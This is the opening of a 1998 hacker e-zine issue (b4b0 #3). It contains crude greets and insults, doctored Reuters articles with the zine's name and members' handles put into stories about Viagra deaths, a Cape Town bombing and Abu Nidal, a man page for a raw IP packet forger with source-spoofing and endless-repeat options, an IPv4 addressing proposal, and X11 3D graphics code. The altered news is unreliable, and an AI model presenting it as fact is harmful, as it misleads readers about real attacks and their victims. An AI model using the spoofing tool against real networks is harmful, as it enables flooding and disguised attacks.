.s$s .s$$'`$$s. .s$$' b 4 .s$$$' b 0 +-+-+-+-+ `$$$&s. |b|4|b|0| `$SSs. +-+-+-+-+ `$s. .s$$$$' [ (c) 1998 the b4b0 party programme ] `$$$$$$$$$' [ all rights reserved be0tch. ] [ oh yes. ] [ number three. ] [ wee! ] -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- thiz episodez theme: "everybody is entitled to their own opinion as long as they are american." .-------------------. | table of contentz | `-------------------' (1) introduction . . . - [jsbach] (2) b4b0 world newz - [ge0rge] (3) ippacket 2.0 - [chrak] (4) The Preservation of IPv4 - [r4lph] (5) An introduction to 3D graphics programming - [aqua] (6) ASM on the Linux/i386 platform - [chrak] (7) b4b0 misc, warnings, etc [ge0rge] (8) Golf Telephony Juarez - [Qytpo] (9) a fuqn awesome minicom static buffer overflow - [ohday] (A) a high level sockets API - [presonic] (B) writing lkm's - [segv] (C) HP-UX security pt 2 - [tip] (D) Compiled Sparc Assembly Language d0x - [various !] writerz, misc. ------------- The Fearless Leader of b4b0! ge0rge Some Canadian Kid r4lph m4lph An English Stealer-of-American Women gR3-0p Manager of the Hotel California phFh4ck3r Not Usually Around lh0ar Guy With a Big Afro qytpo Mister Nice Guy tEEp White, Black, Male, Female KuR4cK Loves Frosted Flakes seegn4l The Bovine Rebel thE miLk An Aussie Be0tch d00k Harpoon boy pres0niq greets: _jenna, vect0rx, sadjester, ashtray lumber jacks, monica lewinski, bin laden, bert & ernie, c0t, israel, afghanistan (your guns are on the way), sudan, r4lphs mom, mira sorvino, seegn4l's dad, katie holmes, and newt gingrich. fuck yous: "the establishment", siliteks father, siliteks mom, silitek, United States Government, Coolio, #hackphreak, irc warriorz, you ppl who knock on my door asking if i want to buy books, you people who come and talk to me about god when im on the street, you people who come and arrest me for pissing on your car, and you people who don't l0ve b4b0! Official Idiot(s) Of the Month (more than one this issue) ------------------------------ coolio this kid has absolutely NO skill whatsoever at anything. Please, do your part and make fun of him for a better america. JP of Antionline.com. You figure it out. Quote(s) of the Month ------------------ "dude, I'm diverse" -r4lph m4lph "I want to publish zines, and rage against the machine..." -"Flagpole Sitta" Harvey Danger "Did I miss a fucking meeting with the coffee?" - "Lock and Load" Dennis Leary "Everyone is so1o until proven otherwise." - ekiM [ introduction - jsbach ]-x- -x- -x- -x- -x- -x- -x- -x- -x- -x- b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- Hi, I'm the editor for this edition of b4b0. We decided that we'd trade off editorship each issue... At any rate, it'd be cool if we started getting submissions from people on the inet, so that not all the articles are by the regular b4b0 staff. For now, you can send feedback, articles, etc to --> submissions@b4b0.org If u don't have a submission but have something to say send it to letters@b4b0.org !! SORRY ABOUT THE LATENESS OF THIS ISSUE ITS JUST PEOPLE SAY THEY WILL WRITE SHIT AND THEN THEY DON'T *****************************************************************/ [ 2 - b4b0 w0rld gn00z! ]- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- FDA says 69 deaths among U.S. b4b0 readers By Jonathan Wright WASHINGTON (Reuters) - At least 69 Americans who took the erection-enhancing zine b4b0 died in the first four months it was on the market, the Food and Drug Administration (FDA) said in a new report. But the deaths, which have been mounting steadily over the months, may not indicate any special danger from the b4b0 Inc. (b4b0 - news) zine, given the age, health and large number of men who are reading it, specialists said. Doctors have written out 3.6 million prescriptions and millions of men have read the zine, which was hailed on its release in March as the long-awaited wonder zine for many men who had difficulty getting an erection. ``If there is a one in 100,000 chance of something happening that's pretty low ... What I tell my patients is that there is uncertainty. I think it's a safe zine but I think long-term studies are going to tell us how this works out,'' James Barada, a urologist in Albany, New York, told Reuters Wednesday. The FDA, collating voluntary accounts from many sources, said 18 of the patients died during or immediately after sexual intercourse. Within a further five hours of reading the zine, seven others had begun to show whatever symptoms eventually led to death, said the the report that was posted Monday on the agency's Internet site. Dr. David Flockhart, an expert in zine interactions at Georgetown University in Washington, said in a recent interview that it would be very hard to blame such deaths on b4b0. ``I wonder what the baseline death rate is without b4b0,'' he said. ``How many people die during the act anyway?'' ``If you age-index it for how many medical problems the individuals have and you take out those who took it inappropriately, I don't know of any huge disasters,'' William Steers of the University of Virginia said of earlier figures. The FDA noted that the link with b4b0 was circumstantial and it did not know how comprehensive its data was. ``An accumulation of adverse event reports does not necessarily indicate that the adverse event was caused by the zine. The event may be due to an underlying disease or some other factor or factors,'' the report said. ``As with all approved medications, the FDA will continue to monitor the ... safety of b4b0 by carefully reviewing reports of death and other serious adverse events and will continue to evaluate the need for regulatory action,'' it added. The FDA received reports of 123 patients dying after being prescribed b4b0, including 12 foreigners. In the case of 30, the reports were from unverifiable sources and another 12 people may not have read the zine, despite having the prescription. Of the remaining 69 U.S. patients -- 66 identified as men and three of unidentified gender -- two had strokes and 46 had cardiovascular events. The cause of death was unknown or not mentioned in the other 21 cases. Reports to the FDA gave ages for 55 of the dead. They ranged from 29 to 87, with a median of 64, it said. Fifty-one of the 69 patients had one or more of the factors associated with cardiovascular diseases or cerebrovascular disease, such as hypertension, smoking or obesity. Twelve of the men who died had taken nitroglycerin or a nitrate medication, which can be fatal if taken in conjunction with b4b0. b4b0 acts by enhancing the muscle relaxant effects of nitric oxide, a chemical that is normally released in response to sexual stimulation. This allows increased blood flow into certain areas of the penis, leading to an erection. The labeling warns patients not to mix it with nitrate-based heart drugs and advises a thorough medical examination before the drug is prescribed. ``There is a degree of cardiac risk associated with sexual activity; therefore, physicians may wish to consider the cardiovascular status of their patients prior to initiating any treatments for erectile dysfunction,'' the labeling adds. But one consumer group, Public Citizen, said last week that the labeling was not strong enough. ``The FDA, in their rush to approve this zine, never put this zine before an advisory committee,'' said Dr. Sidney Wolfe, director of Public Citizen's health research group. ``There are a number of studies in different species showing damaged blood vessels with long-term use. This is not terribly surprising but there is no mention in the labeling,'' he added. The American College of Cardiology and the American Heart Association have expressed concern about the use of b4b0 by patients with any kind of heart disease. Barada, who helped draw up erectile dysfunction guidelines for the American Urological Association, said he was concerned about the deaths because some people may have a special sensitivity to the zine and some doctors might be prescribing it to the wrong people. ``There may be a population that is more sensitive to these zines than we were able to pick up in the trials. It may be playing Russian roulette with an elite zine ,'' he said. S.Africa refuses to be stage of global conflict By Emma Thomasson CAPE TOWN (Reuters) - A bomb that exploded in a Cape Town restaurant was apparently linked to U.S. strikes on b4b0!, but South Africa warned Wednesday it would not allow its territory to become a stage for foreign conflict. ``We cannot allow our country to become a theater for experiments in international terrorism,'' South African Safety and Security Minister Sydney Mufamadi told a news conference. Police initially said two people had died in Tuesday's blast at Cape Town's Planet Hollywood restaurant. They said 27 were also injured. On Wednesday, however, police spokesman Wicus Holtzhausen told Reuters there had been an error and that only one person, separately identified as 50-year-old bank employee Fanie Schoeman, died at the scene when his legs were blown off. ``There was a lot of confusion between ambulance people. One guy said one died on the scene and one died on his way to hospital. But it was the same guy,'' he said. Mufamadi said detectives who helped probe the recent bombing of the U.S. embassy in Nairobi were due to arrive later on Wednesday to help investigate the attack. ``We feel there is something that can be gained by sharing experiences, sharing notes,'' he said. President Nelson Mandela said he was certain the police had good leads on the bombing and b4b0. ``I have no doubt that b4b0 actually committed this crime and I'm confident that they're going to arrest them,'' Mandela said after a function at a school in rural Transkei. Police spokesman John Sterrenberg told Reuters investigators were viewing video material, thought to be from the restaurant's security cameras, but said he could not give further details for fear of jeopardizing the probe. The South African Broadcasting Corporation said in its main news bulletin that it was in possession of video footage of a b4b0 member in the blast but would not release it in the interest of ongoing investigations. Two callers, claiming to represent the local b4b0 group told the Cape Talk radio station on Tuesday the bombing was in retaliation for U.S. missile attacks on Afghanistan and Sudan last week. The group later denied it was behind the attack. A spokeswoman declined to comment on the blast, but told Reuters all would be revealed at a news conference on Thursday morning. President Clinton said he had ordered the raids in retaliation for the bombings of the U.S. embassies in Nairobi and Dar es Salaam and to forestall further attacks. He said the targets were operations linked to Saudi-born Moslem militant Osama Bin Laden (phfH4ck3r as known by b4b0), whom the United States accuses of organizing and financing the embassy attacks. Mufamadi said if the Cape Town bombing proved to be linked to the attacks in Nairobi and Dar es Salaam, it would be the first case of international terrorism in South Africa. South African stocks plunged on Wednesday, at one stage shedding nearly nine percent, as the bomb blast and a sharp rise in producer inflation fanned renewed fears over stability in emerging markets worldwide. A hospital official said eight-year-old British visitor Laura Giddings lost a foot and, with her three-year-old brother Jacob, was in a serious condition in hospital. Their father Tony suffered a broken leg and their mother Mandy and grandfather Brian also were hurt in the blast. Mark Lyall Grant, acting British High Commissioner, said his government condemned the attack, particularly because it had targeted a popular tourist area. ``This family has been ripped apart by the blast,'' he told a news conference after visiting the Giddings in hospital. He said four other British citizens and one Argentinian had also been injured in the attack. Britain had reviewed its travel advice on South Africa, which hosts around 300,000 Britons a year, he added. Britain always warned of the high levels of crime in the country, he said, but was now urging its citizens to exercise special caution after the bomb. Peter Gastrow, an analyst at the South African Institute for Strategic Studies, told Reuters the blast could pitch Cape Town's small, radical Muslim community into a world campaign against the United States. ``It enables them to place themselves into the international network that has similar agendas,'' he said. Sheikh Achmed Seddik, a spokesman for the Moslem Judicial Council, condemned the attack. ``We're obviously condemning this bombing in the strongest terms. It is uncalled for and senseless,'' he told Reuters. But he said the b4b0 community would go ahead with a march, planned and approved by police before Tuesday's blast, on the U.S. mission in Cape Town on Saturday to protest against the U.S. attacks in Sudan and Afghanistan. ''Terrorist'' tEEp (abu nidal) jailed in Egypt: LA Times WASHINGTON (Reuters) - Palestinian extremist Abu Nidal (aka tEEp from the b4b0 zine), ''whose reign over a terrorist network in the 1980s made him one of the world's most dangerous men,'' is being held by authorities in Egypt, the Los Angeles Times reported in Tuesday editions. Quoting unnamed U.S. officials, the Times reported that tEEp ``apparently was caught after he crossed the border from Libya, where he has been headquartered for several years.'' Few additional details were known, the newspaper said. ``Recent reports in the Arab press have suggested that tEEp is ailing and might require advanced medical care unavailable in Libya,'' the Times reported. tEEp is linked to ``terrorist attacks in 20 countries that killed or injured almost 900 people,'' the Times said. tEEp heads the Fatah Revolutionary Council, one of 12 groups which had its assets frozen by President Clinton in 1995 for waging campaigns to undermine the Middle East peace process. According to the newspaper, Egypt has denied reports about holding tEEp. It quoted U.S. officials as saying the Egyptian government was concerned about potential reaction. Although his organization is smaller than in the past, ``it still commands several hundred members in the Mideast, including Lebanon, Sudan, Syria and Iraq, with a 'limited overseas support structure,'' according to the State Department's Patterns of Global Terrorism 1997,'' the Times said. [ ippacket 2.0 (chrak) ]-x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- (the actual program is in b4b0.3.tgz) ippacket(1) ippacket(1) NAME ippacket - constructs ip packets SYNOPSIS ippacket <-N> [-p protocol ] DESCRIPTION constructs ip packets. tcpdump -Svt is useful for use with this program OPTIONS option desc (default) ALL: -N if first arg, the program will be run in ncurses mode -s source_ip -d dest_ip -I IP identification (random) -T IP ttl (60) -D data to add to end of any type of packet -W write outgoing packet to file -p protocol (IPPROTO_RAW) -p '?' shows other avail- able protocols -r (1) -r -1 will repeat packet send forever, else repeat num times TCP and UDP: -x udp/tcp source port (7777) -y udp/tcp destination port (7778) TCP only: -f TCP flags (TH_FIN) -f '?' shows other available flags -u urgent pointer (0) use with -f TH_URG -w tcp window size (512) -q tcp sequence number size (0) 1 ippacket(1) ippacket(1) -a tcp ack number size (0) ICMP only: -i ICMP type (ICMP_ECHO) -i '?' shows other available types EXAMPLES see /usr/doc/ippacket-2.0/README BUGS If i knew theyed be fixed! AUTHOR shaki-!!! + fatima!!! [ The Preservation of IPv4 ] x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- ============================================ == The Preservation of IPv4 (sort of) == ====== Node Network Topology ======= by r4lph ======================= r4lph@b4b0.org ============ |INTRODUCTION| ============ As with all new ideas, you must keep an open mind while reading this document. "Have some sort of imagination when reading this article", as jsbach has said. New ideas are meant to be incomplete, and must leave room for improvement. This article addresses two of the main problems with the existing IP protocol, IPv4. The first being a shortage of IP addresses, and the second being the ever increasing size of routing tables. Like I said, the ideas in this article are far from complete, and not all effects of the "for every action there is a reaction" adage are worked out. The reason I wrote this article is because in the very near future the IP next generation (IPng) group, are going to shove something in our faces called IPv6, and I think it sucks. The arival of something like IPv6 is inevitable, although I have grown to close to IPv4 to just watch it be over taken by IPv6 without even looking at another possible solution. ========== |BACKGROUND| ========== Here I'm just going to give a little bit of background, it's probably not needed for those of you that are at all familiar with IP. Ok, under IPv4, we're running out of IP addresses to assign, plain and simple. Not only that, but with the exponensial growth of the internet, routing tables on internet gateways/routers are becoming larger and larger. There have been several efforts in the past, and present, to work with IPv4 efficiently until IPv6 is fully implemented. The Internet Assigned Numbers Authority (IANA), the dudes that give you your IP addresses if you request a class A, B, or C, have made many a plea to the internet community, to return unused IP addresses. Classless Inter-Domain Routing (CIDR) was also an effort made in the early 90's to help reduce routing table size, and help conserve IP addresses by eliminating the idea of classes. For more information, consult RFC's - 1517, 1518, 1519, and 1520. This approach was succesful for a while, but as the internet grows, no matter how we try to save IP addresses, we need MORE. As it is, the number of 32 bit IP addresses in existance, including class D and class E addresses is 4294967296 (2^32). Sounds like alot doesn't it? Well do the math for the proposed 128 bit IP address in IPv6. ====== |THEORY| ====== The basic theory behind my entire idea, is that only internet gateways/routers are assigned IP addresses. If you have a subnet with a router or gateway, it is assigned an IP address also. The rest of the computers on your network are assigned an 8 bit "node address". This "node address" is not assigned by any central authority like the IANA, and it need not be registered anywhere other than the router or gateway governing the subnet, or net that the computer in question is on. Now some of you might be thinking, "oh so the internal computers are invisible to the internet", well no, they're not. If you think about a gateway that has the IP address 1.1.1.1 and under the gateway there are 5 nodes, numbered 1-5, the rest of the internet sees the 3rd node on this network as 1.1.1.1-3. I'll show you how we let the gateway/router know what node to pass the packet along to in a later section, along with all the other more detailed information about these concepts. As you can see, by assigning only gateways/routers IP addresses, we can use them efficiently, and surely have enouph of them to serve the internet community. Strain on routers is removed due to the fact that they must only "know" about other routers/gateways. ========= |SPECIFICS| ========= Now I will explain the details of this idea, and the problems that it may pose. I left alot of areas untouched or unfinished for various reasons from, "I dont know enouph about the subject", to, "it would just make the file to facking BIG". First off I will explain the new IP packet structure. It's very simple, only 2 fields must be added, an 8 bit destination node field, and an 8 bit source node field. These 8 bit fields allow for 256 nodes under any one router/gateway. The new IP packet header is illustrated in FIG.1 (Taken from rfc791). FIG.1 *NOTE* Each "-" represents 1 bit. 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| IHL |Type of Service| Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identification |Flags| Fragment Offset | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Time to Live | Protocol | Header Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source-Node | Dest-Node | Options | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Options(cont)| Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ So the idea is that "Source-Node" is the computer under the gateway/router with the IP address in "Source Address", and "Dest-Node" is the computer under the gateway/router with the IP address in "Destination Address". All routing between the two gateways/routers that the nodes in question belong to proceeds as it would with normal IPv4 implementations. The "Source-Node" and "Dest-Node" fields are transparent to all routers in between the "Source Address" and "Destination Address" gateways/routers. When the destination gateway/router gets the packet, it will forward it to the node in the "Dest-Node" field. The computer which just recieved the packet will send a packet back in the same manner. It will use the "Source-Node" address of the incoming packet as the "Dest-Node" in the outgoing packet. And it's own node address as the "Source-Node" in the outgoing packet. The rest of the packet fields are filled out as they would be normally, and the packet is sent. Again, the "Dest-Node" and "Source-Node" fields are transparent to all gateways/routers en route to the "Destination Address", upon arrival, the "Destination Address" gateway/router forwards the packet to the node in "Dest-Node". Heres a time line, IP addresses/node addresses are represented like this, 1.1.1.1-14, given that 1.1.1.1 is the IP address of the router/gateway and 14 is the node address of the computer under 1.1.1.1. - 1.1.1.1 is the source gateway - 8.8.8.8 is the destination gateway - 2.3.4.5 is misc. internet router no.1 - 3.4.5.6 is misc. internet router no.2 * node number 5 on the under the source gateway wants to send a packet to * node number 12 under the destination gateway. [1] 1.1.1.1-5 --> 1.1.1.1 [2] 1.1.1.1 --> 2.3.4.5 [3] 2.3.4.5 --> 3.4.5.6 [4] 3.4.5.6 --> 8.8.8.8 [5] 8.8.8.8 --> 8.8.8.8-12 [1] The source node sends the packet to the source gateway. [2] The source gateway sends the packet to misc. router no.1. [3] Misc. router no.1 sends the packet to misc. router no.2. [4] Misc. router no.2 sends the packet to the destination gateway. [5] The destination gateway sends the packet to the destination node. A method of assigning node addresses to an ethernet interface would have to be developed. Something like the use of "ifconfig" to assign IP addresses to ethernet interfaces. Routing tables on gateways/routers would have to be modified to take into consideration the node addresses that are under that gateway. To route packets to another subnet on the same network, you'd use the same procedure as to route to a completely different network. Protocols that do not have IP below them must be modified to reflect the "node" concept. Other protocols need little to no modification. ========== |CONCLUSION| ========== The concept of Node Network Topology is less than complete, but it's not that far fetched. With some further developement, some of these ideas could be implemented (like that will ever happen). Anyways, I think we need more ideas like this as alternatives to IPv6 for IPng to consider. This type of network would require many rewritten network configuration tools, and everyday applications would need to be modified to reflect this idea. If you have any comments or additions , email me, digital@legions.org. r4lph digital@legions.org [Beginning 3D Programming (jsbach) ]-x- -x- -x- -x- -x- -x- -x- -x- -x- b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- ------------------------------------------------------------------------------ Beginning 3D Programming (c) aqua 1998 all rights reserved email: jsb4ch@hotmail.com ------------------------------------------------------------------------------ Seeing a freeware C/asm 3D engine was what motivated me to learn to code... There is nothing like being able to explore the surreal sort of mathematical universe one can create inside her computer. In some sense, to be a computer programmer, is to be a GOD !$@#& =). Given a 500 dollar piece of shit 486, you can create a virtual universe in which you can explore and create for your entire life if you are so inclined. The following is a *basic* and short introduction to 3D programming... Nothing interactive, and not much math. In other words, this will bore and patronize ppl who know their sh10t ;). I'm not a good tutorial author.. USE THE SOURCE AND FIGURE IT OUT "!!!" =) **************************** **** 3D CONCEPTS *********** **************************** The idea behind 3D computer graphics is that we need to represent 3 dimensional coordinates on a 2 dimensional plane ( the screen "!" ). Suppose we had these coordinates: x y z coord 1: { 1, 2, 3 } coord 2: { 1, 2, 4 } coord 3: { 2, 4, 6 } Now we want to plot them on the screen. We could just drop the z coordinate, so we'd be plotting: coord 1: { 1, 2 } coord 2: { 1, 2 } coord 3: { 2, 4 } This is indeed how some engineering graphing software operates, but it wouldn't look too realistic in an artificial universe!@#$ Upon quick examination, we see that coordinates 1 and 2 are plotted in the same place, although they don't share the same z coordinate. If you think long and hard, you'll realize that we can simulate three dimensions on the screen via doing something like this: 3d coords : { x , y , z } 2d coords : { x/z, y/z } We are taking the z coordinate into account by dividing x and y by it. The larger z is, the smaller x and y will be (they will appear farther away), and as z gets smaller, x and y will increase (they will appear closer). This equation iz simple and beautiful ;) This is the basis behind my starfield program, listed below. Try to figure it out ;) Compile it and run it like this: % gcc starfield.c -L /usr/X11R6/lib -I /usr/X11R6/include -lX11 -lm % ./a.out & /************************************************************************ *****************begin 3d_tutorial_starfield.c "!"*********************** *************************************************************************/ /* by jsbach in like april '98 (i think) */ #include #include #include #include #include #define NUM_POINTS 5000 Display *display; Window window; GC graph; int blackcolor, whitecolor, count, count1, viewing_distance; struct point { int x; int y; int z; }points[NUM_POINTS]; struct projection { int x; int y; }projections[NUM_POINTS]; void setup(void); int point(struct point *coord); main(int argc, int **argv) { setup(); for (count=0; count < NUM_POINTS; count++) { points[count].x=(rand()%350); /* randomize z points "!" */ points[count].y=(rand()%350); points[count].z=(rand()%350); if (points[count].z == 0) points[count].z=1; printf("%d %d %d\n", points[count].x, points[count].y, points[count].z); } for(;;) { XEvent e; XNextEvent(display, &e); if (e.type == MapNotify) break; } while(1) { for(count1=0; count1 < 400; count1++) { for(count=0; count < NUM_POINTS; count++) { projections[count].x=(points[count].x*viewing_distance+6000)/points[count].z; projections[count].y=(points[count].y*viewing_distance+6000)/points[count].z; point((struct projection *)&projections[count]); } viewing_distance++; XClearWindow(display, window); } viewing_distance=0; } } int point(struct point *coord) { XDrawPoint(display, window, graph, coord->x, coord->y); } void setup(void) { viewing_distance=0; display=XOpenDisplay(NULL); assert(display); blackcolor=BlackPixel(display, DefaultScreen(display)); whitecolor=WhitePixel(display, DefaultScreen(display)); window=XCreateSimpleWindow(display,DefaultRootWindow(display), 0, 0, 800, 800, 0, blackcolor, blackcolor); XSelectInput(display, window, StructureNotifyMask); XMapWindow(display, window); graph=XCreateGC(display, window, 0, NULL); XSetForeground(display, graph, whitecolor); } /***************************************************************************** ************************END 3d_tutorial_starfield.c************************* ****************************************************************************/ NO! You don't understand it yet! Go back and study it some more ! Ok, if you don't understand the above program, you'll be clueless for the rest of the tutorial, so FUCK YOU!@$ Anyways, wh0rd, we plotted tons of 3d points on the screen and moved em around.. Now, it'd be nice to be able to project shapes onto the screen. To do this, all we need to do is project individual points onto the screen and then draw lines in between them. The way I did this in the next example is to have a struct shape{} that defined connections between points... There's also a rotation function in here that I'm not going to explain (I suck at trig and I couldn't explain it worth shit... feel free to rip it tho ;) You might call the below program a 3d "engine", because it provides a set of functions to display and manipulate 3d objects. /************************************************************************* ************BEGIN minimalist_3d_engine_example.c ************************ ************************************************************************* */ // camera-less wireframe 3d engine by jsbach #include #include #include #include #include #include #define MAXPOINTS 50 #define MAXCONNECTIONS 9 Display *display; Window window; GC graph; int blackcolor, whitecolor, count, count,subscript, bleh=0; float viewing_distance; /***************** STRUCTURES ***********************/ struct point { float x; float y; float z; int connection[MAXCONNECTIONS]; int numconnections; }; struct projection { float x; float y; }; struct object { struct point points[MAXPOINTS]; struct projection twodee[MAXPOINTS]; struct point location; char numpoints; }cube; /******************* PROTOTYPES ************************/ void drawobject(struct object shape); void eraseobject(struct object shape); void rotate(struct object *shape, float degrees_x, float degrees_y); void project(struct object *shape); void initialize_shapes(void); void setup(void); /***************** MAIN LOOP "!"!"!"!"!"! *****************/ void main(int argc, int **argv) { setup(); /* **********INITILIZATIONS************************** */ subscript=0; subscript++; cube.points[subscript].x=100; cube.points[subscript].y=100; cube.points[subscript].z=100; // 0 cube.points[subscript].connection[0]=1; cube.points[subscript].connection[1]=2; cube.points[subscript].connection[2]=3; cube.points[subscript].numconnections=3; subscript++; cube.points[subscript].x=-100; cube.points[subscript].y=100; cube.points[subscript].z=100; cube.points[subscript].connection[0]=4; cube.points[subscript].connection[1]=6; cube.points[subscript].connection[2]=7; cube.points[subscript].numconnections=3; subscript++; cube.points[subscript].x=100; cube.points[subscript].y=-100; cube.points[subscript].z=100; cube.points[subscript].connection[0]=4; cube.points[subscript].connection[1]=5; cube.points[subscript].connection[2]=7; cube.points[subscript].numconnections=3; subscript++; cube.points[subscript].x=100; cube.points[subscript].y=100; cube.points[subscript].z=-100; cube.points[subscript].connection[0]=5; cube.points[subscript].connection[1]=6; cube.points[subscript].connection[2]=7; cube.points[subscript].connection[3]=8; cube.points[subscript].numconnections=4; subscript++; cube.points[subscript].x=-100; cube.points[subscript].y=-100; cube.points[subscript].z=100; cube.points[subscript].connection[0]=5; cube.points[subscript].connection[1]=6; cube.points[subscript].connection[2]=7; cube.points[subscript].connection[3]=8; cube.points[subscript].numconnections=4; subscript++; cube.points[subscript].x=100; cube.points[subscript].y=-100; cube.points[subscript].z=-100; // 5 cube.points[subscript].connection[0]=5; cube.points[subscript].connection[1]=6; cube.points[subscript].connection[2]=7; cube.points[subscript].connection[3]=8; cube.points[subscript].numconnections=4; subscript++; cube.points[subscript].x=-100; cube.points[subscript].y=100; // 6 cube.points[subscript].z=-100; cube.points[subscript].connection[0]=5; //cube.points[subscript].connection[1]=6; cube.points[subscript].connection[2]=7; cube.points[subscript].connection[3]=8; cube.points[subscript].numconnections=3; subscript++; cube.points[subscript].x=-100; cube.points[subscript].y=-100; // 7 cube.points[subscript].z=-100; cube.points[subscript].connection[0]=5; cube.points[subscript].connection[1]=6; cube.points[subscript].connection[2]=7; cube.points[subscript].connection[3]=8; cube.points[subscript].numconnections=4; cube.location.x=300; cube.location.y=300; cube.location.z=300; cube.numpoints=8; viewing_distance=150; /***********************************************/ /***********************************************/ XSetForeground(display, graph, whitecolor); XFillRectangle(display, window, graph, 0, 0, 800, 1000); /* animation */ while(1) { project(&cube); rotate((struct object *)&cube, .0005, .0005); //cube.location.z+=.1; //cube.location.x+=.1; //cube.location.y-=10; viewing_distance+=.03; if (viewing_distance > 320 ) viewing_distance=0; eraseobject(cube); /* this call is the bottleneck... */ drawobject(cube); } } /******************** END MAIN LOOP BAHAHAHAH ************/ /*************** FUNCTIONS *****************/ void drawpoint(struct point coord) { XDrawPoint(display, window, graph, coord.x, coord.y); } /**************** DRAW OBJECT *****************/ void drawobject(struct object shape) { int temp; int temp2; XSetForeground(display, graph, whitecolor); for(temp=shape.numpoints; temp > 1; temp--) { for(temp2=shape.points[temp].numconnections; temp2>0;temp2--) { XDrawLine(display, window, graph, shape.twodee[temp].x, shape.twodee[temp].y, shape.twodee[shape.points[temp].connection[temp2]].x, shape.twodee[ shape.points[temp].connection[temp2]].y); } } XFlush(display); } void eraseobject(struct object shape) { int temp; int temp2; XSetForeground(display, graph, blackcolor); for(temp=shape.numpoints; temp > 1; temp--) { for(temp2=shape.points[temp].numconnections; temp2>0;temp2--) { XDrawLine(display, window, graph, shape.twodee[temp].x, shape.twodee[temp].y, shape.twodee[shape.points[temp].connection[temp2]].x , shape.twodee[ shape.points[temp].connection[temp2]].y ); } } XFlush(display); } /************* PROJECT OBJECT **********************/ void project(struct object *shape) { int temp; for(temp=shape->numpoints; temp > -1; temp--) { if(shape->points[temp].z == 0) shape->points[temp].z=100; // printf("z is %f \n x is %f \n y is %f \n", shape->points[temp].z, shape- >points[temp].y, shape->points[temp].x); shape->twodee[temp].x=(((shape->points[temp].x + shape- >location.x)*viewing_distance)/ (shape->points[temp].z+shape->location.z))+150; shape->twodee[temp].y=(((shape->points[temp].y+shape- >location.y)*viewing_distance)/ (shape->points[temp].z+shape->location.z))+150; } } /********************** ROTATION ************************/ void rotate(struct object *shape, float degrees_x, float degrees_y) { int temp; for(temp=shape->numpoints; temp > 0; temp--) { shape->points[temp].x=((shape -> points[temp].x*cos(degrees_x)) - (shape -> points[temp].y*sin(degrees_x))); shape -> points[temp].y=((shape->points[temp].x*sin(degrees_y)) + (shape -> points[temp].y*cos(degrees_y))); // shape -> points[temp].z=((shape->points[temp].z*sin(degrees)) + // (shape -> points[temp].z*cos(degrees))); } } /************************** SETUP *****************/ void setup(void) { viewing_distance=10; display=XOpenDisplay(NULL); assert(display); blackcolor=BlackPixel(display, DefaultScreen(display)); whitecolor=WhitePixel(display, DefaultScreen(display)); window=XCreateSimpleWindow(display,DefaultRootWindow(display), 0, 0, 800,1000, 0, blackcolor, blackcolor); XSelectInput(display, window, StructureNotifyMask); XMapWindow(display, window); graph=XCreateGC(display, window, 0, NULL); XSetForeground(display, graph, whitecolor); for(;;) { XEvent e; XNextEvent(display, &e); if (e.type == MapNotify) break; } XEventsQueued(display, QueuedAfterFlush); XFlush(display); } /************************************************************************ ***************** END minimalist_3d_engine_example.c ****************** ************************************************************************/ OK, this was a simple and confusing tutorial! Wait for b4b0.4 !! By then I will have finished a REAL TEXTURE MAPPED THREE DEE GRAPHICZ ENGINE IN XLIB!$@@!@@!!@ have fun - jsbach [ asm on de Linux/x86 - chrak ]-x- -x- -x- -x- -x- -x- -x- -x--x- -x- b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b -x- 